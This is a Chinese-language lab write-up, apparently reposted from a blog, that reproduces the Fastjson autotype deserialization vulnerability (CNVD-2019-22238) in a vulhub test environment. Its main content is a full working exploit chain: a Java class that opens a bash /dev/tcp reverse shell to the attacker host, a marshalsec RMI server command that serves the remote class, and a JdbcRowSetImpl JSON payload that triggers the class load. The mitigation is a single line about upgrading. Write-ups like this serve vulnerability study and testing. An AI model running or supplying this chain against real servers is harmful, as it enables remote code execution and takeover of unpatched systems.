Fastjson反序列化漏洞复现(CNVD‐2019‐22238)
作者:互联网
一、漏洞描述
Fastjson 是一个开源JSON解析库。它提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会被远程执行任意代码。
二、影响范围
fastjson <= 1.2.47
三、环境准备
攻击机:192.168.208.131(windows)
目标机:192.168.208.129(Linux)
服务器:192.168.208.129(Linux)
由于资源有限,目标机和服务器共用一台设备
四、漏洞复现
漏洞环境:kali vulhub靶场
启动靶场环境
1、编写反弹shell的java文件Exploit.java,并使用“javac Exploit.java”命令编译为Exploit.class。将该class文件上传到服务器。
import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; public class Exploit{ public Exploit() throws Exception { Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/192.168.208.131/666;cat <&5 | while read line; do $line 2>&5 >&5; done"}); InputStream is = p.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); String line; while((line = reader.readLine()) != null) { System.out.println(line); } p.waitFor(); is.close(); reader.close(); p.destroy(); } public static void main(String[] args) throws Exception { } }
2、服务器使用python命令“python3 -m http.server”开启http服务,使其目录下文件可以访问到。
3、使用marshalsec启动一个RMI服务器,监听一个自定义端口,这里监听9999,并制定加载远程类Exploit.class:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.208.129:8000/#Exploit" 9999
4、攻击机开启监听666端口。
5、访问靶场环境并抓包,将GET改为POST,插入payload。
{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.208.129:9999/Exploit", "autoCommit":true } }
放包后即可看到已成功反弹shell。
五、修复建议
升级到最新版本。
标签:Fastjson,java,22238,208.129,192.168,Exploit,序列化,class 来源: https://www.cnblogs.com/lwh01/p/16195310.html